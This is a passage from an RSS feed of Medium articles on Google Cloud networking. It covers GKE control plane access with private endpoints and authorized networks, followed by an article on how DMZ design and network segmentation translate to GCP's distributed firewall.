️✅️<br>They will use the private endpoint.</li><li>VMs in cluster’s VPC: <br>◾Public endpoint: ✅️<br>◾Private endpoint:<br>🔸️VMs in same region as the cluster: ✅<br>🔸️VMs in different region: ️️️❌️<br>🔸️VMs in different region, global access: ✅️</li><li>VMs in another VPC: ✅</li><li>Cloud Shell: ✅</li><li>On-premises:<br>Similar to option 3: <br>🔸️VPN in same region as the cluster: ✅<br>🔸️VPN in different region: ️️️❌️<br>🔸️VPN in different region, global access: ✅</li></ol><p>Private clusters add flexibility to administer from on-premises, and nodes and pods are isolated from the Internet by default. You can use Cloud NAT to provide Internet access for your private nodes.</p><h3>Private clusters + Authorized networks</h3><p>As with public clusters, you can use GKE’s <em>authorized networks</em> feature with private clusters to restrict access to the master API. The behavior is a bit different though:</p><pre>$ gcloud container clusters create priv-cluster --enable-ip-alias --enable-private-nodes --master-ipv4-cidr 172.16.0.0/28 --enable-master-authorized-networks --master-authorized-networks cidr1,cidr2...</pre><blockquote>Whereas for public clusters only IPs from outside Google can be blocked, for private clusters everything <strong>except the cluster&#39;s subnet</strong> can be blocked with authorized networks.</blockquote><ol><li>Internet:️️️ ❓️</li><li>Cluster nodes: ️✅️</li><li>VMs in cluster’s VPC: <br>◾Public endpoint: ❓️<br>◾Private endpoint:<br>🔸️VMs in same region &amp; subnet as the cluster: ✅<br>🔸️VMs in same region &amp; different subnet: ❓<br>🔸️VMs in different region: ️️️❌️<br>🔸️VMs in different region, global access: ❓</li><li>VMs in another VPC: ❓</li><li>Cloud Shell: ❓</li><li>On-premises:<br>🔸️VPN in same region as the cluster: ❓<br>🔸️VPN in different region: ️️️❌️<br>🔸️VPN in different region, global access: ❓</li></ol><p>With private clusters and authorized networks you gain more access control to your cluster and improve security, using access control lists.</p><h3>Private clusters + private endpoint</h3><p>As mentioned before, access to the public endpoint can be disabled. In this case, authorized networks feature is required:</p><pre>$ gcloud container clusters create priv-cluster --enable-ip-alias --enable-private-nodes --enable-private-endpoint --master-ipv4-cidr 172.16.0.0/28 --enable-master-authorized-networks --master-authorized-networks cidr1,cidr2...</pre><ol><li>Internet:️️️ ❌️️</li><li>Cluster nodes: ️✅️</li><li>VMs in cluster’s VPC: <br>◾Public endpoint: ❌️️<br>◾Private endpoint:<br>🔸️VMs in same region &amp; subnet as the cluster: ✅<br>🔸️VMs in same region &amp; different subnet: ❓<br>🔸️VMs in different region: ️️️❌️<br>🔸️VMs in different region, global access: ❓</li><li>VMs in another VPC: ❌️</li><li>Cloud Shell: ❌️</li><li>On-premises:<br>🔸️VPN in same region as the cluster: ❓<br>🔸️VPN in different region: ️️️❌️<br>🔸️VPN in different region, global access: ❓</li></ol><p>If you don&#39;t need or want to avoid any public access to your cluster, disable the public endpoint. This setup is probably the more secure, and less flexible.</p><h3>Setups with VPC Peering</h3><p>The control plane’s VPC network is located in a project managed by Google. This VPC is connected to your cluster&#39;s VPC with <a href="https://cloud.google.com/vpc/docs/vpc-peering">VPC Network Peering</a>. VPC Network Peering is not transitive, if network-b is peered with network-a and network-c but those are not directly connected, network-a cannot communicate with network-c over the peering.</p><p>This situation often happens in hub &amp; spoke architectures that use VPC Peering. Imagine network-a is a hub VPC, providing network services like VPN connection to on-premises, network-b is a spoke VPC running services like GKE, and network-c is the control plane’s VPC network. From the network hub or any other network connected to it, like on-premises, it is not possible to reach the GKE private endpoint directly.</p><p>In these cases you can deploy a <em>jump host</em> in the GKE VPC to allow access to the Kubernetes API, but that gives for another article.</p><h3>Troubleshooting points</h3><p>To close this article, here are some common issues and tips related to GKE clusters and their control plane:</p><ul><li>GKE is integrated with OAuth, so make sure your users or service accounts have proper IAM roles (like Kubernetes Engine Developer) and access scopes.</li><li>Make sure to enable <em>master global access</em> if you want to reach the private endpoint from a different region to where it is deployed.</li><li>If connected to GKE private endpoint through VPN, export custom routes to control plane’s VPC so that master&#39;s return traffic can reach the source.</li><li>If your VMs only have private IPs you will probably need <a href="https://cloud.google.com/vpc/docs/private-access-options">Private Google Access</a> (PGA) to reach Google Cloud APIs (e.g. to access container images from <a href="https://cloud.google.com/artifact-registry">Artifact Registry</a>). PGA is enabled by default in private clusters except for Shared VPC clusters.</li></ul><p>I hope this information will clarify how to configure your GKE cluster. Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13303895f595" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/where-is-my-gke-master-13303895f595">Where is my GKE master?</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A DMZ, what is that?]]></title>
            <link>https://medium.com/google-cloud/a-dmz-what-is-that-acc3b21b9653?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/acc3b21b9653</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Tue, 01 Dec 2020 10:55:19 GMT</pubDate>
            <atom:updated>2022-11-05T18:03:20.357Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*J7ibX9ta7ZDHzubE0uQBwA.png" /></figure><p>Despite the title, probably most of the audience will really know what a DMZ (demilitarized zone) is in networking security. In this article I’m going to analyze it a bit in detail. We will see how this concept translates to GCP (Google Cloud Platform) and for that we need to understand not only the design but the intent of a DMZ. My goal is to analyze DMZs and the broader concept of network segmentation.</p><h3>DMZs</h3><p>A DMZ is a network typically exposing public services like web, DNS or email functions, in a subnetwork separated from the internal network of a company. The main purpose of this subnet separation is to protect internal systems while providing these services to untrusted networks like the Internet.</p><p>The external access to these services makes them a target for malicious people trying to exfiltrate data from a network or cause damage in some way. They could exploit vulnerabilities in their software to get access to a system from where they could launch further attacks to other internal systems. By isolating these public services from the private network in a DMZ or perimeter network, we can provide a layer of security to stop these kind of attacks.</p><p>The essential element to control this segmentation is the firewall. Firewalls are useful for filtering traffic between subnets allowing or denying traffic based on a set of rules that will look into packet addresses, ports, header fields or even content of messages.</p><p>The basic firewall deployment architecture to create a DMZ is based on a two-tier design. The figure below shows an example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*arjjGCpyXOzIMnug2FMviw.png" /><figcaption>Figure 1. Basic DMZ design</figcaption></figure><p>The firewall has three interfaces each attached to a network. Hosts in the DMZ would need to traverse the firewall to reach systems in the private network, but the firewall doesn&#39;t allow any incoming connections to it. The private network can access the Internet and the DMZ to use its services or manage the servers.</p><p>Other DMZ designs use two serial firewalls, with the DMZ in between. This setup is more complicated but adds another layer of security. In the first design, if the firewall is compromised due to a vulnerability or is somehow misconfigured the private network might be exposed to attacks. With two firewalls between the external and the private network now two devices would need to be compromised to get access. We can add even more security employing two different firewall vendors so an exploit found in one is unlikely to be present in the other, although this also adds more complexity.</p><p>Sometimes companies need to connect to third party networks, or they may use multitier designs with firewalls between every layer of their applications. Real world networks can get complicated, but in general concepts shown here will apply.</p><h3>The GCP world</h3><p>Can we implement such DMZ designs in GCP? Yes. The firewall devices will be software appliances deployed on Virtual Private Cloud (VPC) networks, and we will see that instead subnetwork segregation we will need different VPCs for each network. The following figure shows an example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*nv_yVsk4WuwGDlC-9rVl8w.png" /><figcaption>Figure 2. Basic DMZ design in GCP</figcaption></figure><p>You may be not familiar enough with GCP, but I assume you will understand the figure above. It is quite similar to figure 1 and behaves similarly, except that hosts are replaced by virtual machines (VMs) and instead of using only subnets, we use full VPC networks that are isolated and independent network domains.</p><p>The question is: Is that the right way to implement the DMZ concept in GCP? Well, that&#39;s another story. You may have heard that GCP is different, that things aren&#39;t done as if it were merely an extension of your data center. I would tell you exactly that. And you may think this is simply a sales pitch, but the truth is that GCP is really really different. Let me explain you why.</p><p>GCP uses a Software Defined Networking (SDN) approach. This model means there are substantial differences with a traditional data center network, some of which I will address here.</p><p>To start with GCP is a layer 3 (L3) network, if any, not a layer 2 (L2) network. A classical network uses subnetting to create multiple logical networks where hosts in a subnet can talk to each other directly, and through a router if talking to a different subnet, with the help of ARP to discover corresponding MAC addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*5TouyWUZiIMP7wP8JkVaow.png" /><figcaption>Figure 3. Communication paths in a classical network</figcaption></figure><p>In GCP we have VPC networks, subnets and VM instances attached to them, but subnets here are simply an organizational tool to group instances and control your IP address space. Subnetting has no effect on whether or how a VM can reach another since all the VMs in a VPC have direct visibility to each other no matter which subnet they are in. Indeed, no matter which region of the world they are in. A VPC network provides a full mesh of global reachability, so from the point of view of an instance any other VM is just one hop away. The SDN or network virtualization stack that runs in the host of every VM handles this internally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*NM6ufiacS9mlM_7TyGzawQ.png" /><figcaption>Figure 4. Communication paths in GCP. Subnetting has no effect for routing purposes</figcaption></figure><p>This doesn’t mean the whole VPC network is a broadcast domain, it is just the opposite. We can observe this by inspecting the network mask applied to VMs. If we create a subnet range 10.0.0.0/24 and attach VMs to it, every VM will get assigned a /32 mask as if it were the only host in a subnet:</p><pre>$ ifconfig<br>eth0      Link encap:Ethernet  HWaddr 42:01:0A:00:00:02  <br>          inet addr:10.0.0.2  Bcast:10.0.0.2  <strong>Mask:255.255.255.255</strong></pre><p>When sending a packet, the instance will send it to the subnet&#39;s gateway MAC address regardless if the destination IP is outside or within the subnet range (remember it was declared as /24). The instance will make an ARP request to resolve the gateway’s MAC address, and that&#39;s everything ARP will be used for:</p><pre>$ ping 10.0.0.5<br>PING 10.0.0.5 (10.0.0.5) 56(84) bytes of data.<br>64 bytes from 10.0.0.5: icmp_seq=1 ttl=64 time=2.01 ms<br>...</pre><pre>$ arp<br>Address        HWtype  HWaddress           Flags Mask    Iface<br>10.0.0.1       ether   42:01:0a:00:00:01   C             eth0</pre><p>In reality there is no separate gateway in a VPC&#39;s subnet, everything goes through the SDN stack that will route packets to the destination, but this satisfies L3 and L2 requirements in the VM network stack.</p><p>So you see there are no bridges or switches in GCP networking. There is routing with some differences, and <a href="https://cloud.google.com/network-connectivity/docs/router">Cloud Router</a>, but I won&#39;t extend more on that.</p><p>The global reachability is a big differentiator and an advantage for network designs, we don’t have to work on interconnecting different regional subnets. It also has notable consequences, in particular a full mesh means traffic within a VPC can’t be redirected or intercepted. Taking the DMZ example, it wouldn’t be possible to implement it inside a single VPC using subnetting only since the DMZ subnet and the private subnet would see each other, and the SDN routing can’t be overridden. For the firewall to be able to filter the traffic between networks, each network should be in a different VPC and the firewall appliance attached to both to connect them, as was shown in the figure 2.</p><h3>GCP Firewall</h3><p>GCP Firewall represents another big difference comparing to firewalls in classical networks. As with routing, firewalling is implemented in the SDN stack. We have already seen designs using firewalls devices/appliances in the DMZ examples. GCP Firewall is not a device, it is a distributed firewall functionality enforced in every VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*zkBBVm7cSWkY_9W5geyQvw.png" /><figcaption>Figure 5. The GCP Firewall is enforced in every VM</figcaption></figure><p>As you can see, for a VM to reach another traffic needs to traverse not one but two firewalls even if they are within the same subnet. Of course traffic from outside the network to any VM always goes through a firewall too. It is as if every VM were in its own DMZ!</p><p>That is completely different to how classical L2 networks work, those need to use different networks or subnets for a firewall to be able to filter traffic. They offer no protection against traffic within a subnet. But in GCP, subnetting has no effect for firewalling purposes.</p><p>It is worth to note that every VPC network has two implied rules, allow egress rule and deny ingress rule. The egress rule lets any instance send traffic to any destination although with some considerations, for example you will need a public IP to reach Internet. The ingress rule blocks any incoming connections to all instances, so you need to explicitly allow desired traffic.</p><p>Taking advantage of the GCP Firewall, let&#39;s redesign the DMZ example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*8a6joB_Lg41r5EPpj8yljw.png" /><figcaption>Figure 6. Basic redesign of DMZ concept in GCP</figcaption></figure><p>The DMZ per se is gone! The public servers and internal systems are in the same VPC, they can reach each other and there is no firewall appliance in between or facing Internet. Still, all traffic is subject to GCP firewall inspection. Compare this to figure 2.</p><p>Using the GCP Firewall has more advantages. It is a cloud native solution with powerful abstractions. Besides the possibility of writing classical firewall rules based on IP ranges, you can use network tags (or service accounts) to define how firewall rules apply to VMs. A network tag is an attribute you can associate to instances for the purpose of filtering traffic. For example, you could create a group of instances to serve web traffic with a tag &quot;web-server&quot;, and one single firewall rule to allow HTTPS traffic to all of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*HTl1SWsL4_2o78sYJ314Xg.png" /></figure><p>You could do it similarly with IP addresses, but then you would need to carefully organize IP allocation to minimize the number of rules to write. This gets more complicated as networks grow. And of course, rules based on IP addresses are not so expressive as with tags, they are difficult to reason out and it is easy to make mistakes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*NThOcBkm6lKhXeGv96IhHw.png" /></figure><p>There are more benefits to using a cloud native solution like the GCP Firewall:</p><ul><li>It is a centralized solution, you don&#39;t need to configure each instance. Rules are applied to every VM in the VPC, even future ones.</li><li>As part of GCP, it is integrated with <a href="https://cloud.google.com/iam">IAM</a> so you can control who has access to it in a unified way with the rest of cloud resources. No need to handle sysadmin logins on appliances.</li><li>GCP is designed to be robust and scalable, and Google takes care of its management and security for you.</li><li>Configuration of rules becomes part of your infrastructure as code under version control, and it can nicely integrate with your CI/CD processes. You can control changes, write security policies, require approvals, and quickly rollback changes if things went wrong.</li><li>Logging, monitoring and auditing integrated with <a href="https://cloud.google.com/products/operations">Cloud Operations</a> (formerly Stackdriver). You can log interesting events, monitor the firewall activity, and write runtime policies to detect policy or compliance violations.</li></ul><h3>Other considerations</h3><h4>Network segmentation</h4><p>As we have seen, DMZs are segmented networks aimed to provide security by isolating traffic and user access to those segments only. But network segmentation can help improve other networking aspects.</p><p>Grouping systems that often communicate in the same segment, and those that rarely communicate in different segments, can improve performance. Communication problems like congestion can be reduced, and network device failures or broadcast storms can be better isolated.</p><p>Sometimes companies are tempted to recreate their networks on GCP, since they already applied this knowledge when designing their network topology. But the concerns mentioned above are mainly related to L2 networks, and we have explained that GCP is not a L2 network. They don&#39;t apply directly to GCP.</p><p>However it is good to consider how segmentation can help in cloud. A VPC network is a global network that is divided in regions and zones. Although reachability is global, traffic crossing zones and regions will suffer higher latency than if it stays within the same zone. And Google will charge you for traffic leaving a zone. Hence grouping systems that interact often in the same zone will improve performance and cost.</p><p>Also, some VPC features like NAT or network flow logs are configured per subnet, so you may want to use additional subnets to use these features.</p><h4>Advanced firewalling</h4><p>GCP Firewall is an L3/L4 stateful firewall meaning that it allows bidirectional communication if a connection is allowed. Every rule has several components, like the common 5-tuple to match: source IP, destination IP, protocol, source port, destination port.</p><p>GCP Firewall doesn&#39;t offer advanced firewall capabilities like stateful inspection firewalls or application-level firewalls do. The design examples shown previously were simple to explain the concepts, but many times a company needs more advanced security features such as URL filtering, detection of threats, or protection against L7 attacks like cross-site scripting (XSS) or SQL injection. In those cases third-party solutions from the <a href="https://cloud.google.com/marketplace">Google Cloud Marketplace</a>, in addition to GCP firewall rules, can be used. This may lead back to multiple VPC designs and the DMZ segmentation model.</p><p>However, even with advanced security needs sometimes it is possible to implement network topologies which don&#39;t require the DMZ segmentation:</p><ul><li>In some cases not all traffic requires advanced firewalling, possibly only public facing services do. Typically, these services will not be exposed directly but through load balancers like <a href="https://cloud.google.com/load-balancing">GCLB</a>, that already adds some security protection by hiding your systems behind hardened components managed by Google. Then you can direct traffic to go through your third-party security appliance before reaching your services. Instances running public and internal services can live all in the same VPC, leveraging GCP firewall rules to control allowed connections.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*W_SEPdc-rgedJNLqbiunIw.png" /><figcaption>Figure 7. GCLB and advanced firewall appliance protecting public facing services</figcaption></figure><ul><li>If it fits your needs, you could use <a href="https://cloud.google.com/armor">Cloud Armor</a> instead of a third-party solution for ingress traffic. Cloud Armor offers you DDoS protection and helps protect your workloads against OWASP Top 10 risks. In this case the network design is simplified further, and of course you get the benefits of a managed solution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*FcWbtbmQxFcn2CVG1p_Jbg.png" /><figcaption>Figure 8. GCLB and Cloud Armor protecting public facing services</figcaption></figure><h3>Conclusion</h3><p>DMZs and network segmentation are well established techniques to improve various aspects of a network like its efficiency and security. We have reviewed how these concepts should be translated to GCP.</p><p>DMZs are security perimeters that rely on how L2 networks work, but GCP is a virtual L3 network with enough differences as to reconsider the applicability of these techniques. In some cases, security perimeters can be implemented in a way that makes the DMZ model unnecessary. And GCP products improve over time, so maybe in the future new generations of cloud security engineers will ask: “A DMZ, what is that?” ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=acc3b21b9653" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/a-dmz-what-is-that-acc3b21b9653">A DMZ, what is that?</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>